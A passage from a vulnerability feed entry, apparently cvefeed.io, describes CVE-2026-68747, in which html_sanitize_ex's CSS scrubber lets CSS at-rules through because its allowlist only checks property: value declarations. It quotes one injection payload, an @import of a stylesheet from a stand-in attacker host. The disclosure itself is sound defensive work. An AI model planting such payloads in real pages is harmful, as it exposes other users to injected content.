CVE-2026-68747 - CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

CVE-2026-68747 - CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

https://cvefeed.io/rssfeed/latest.atom / Thu, 08/06/2026 - 22:09
CVE ID :CVE-2026-68747
Published : Aug. 6, 2026, 4:16 p.m. | 3 hours, 10 minutes ago
Description :Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the

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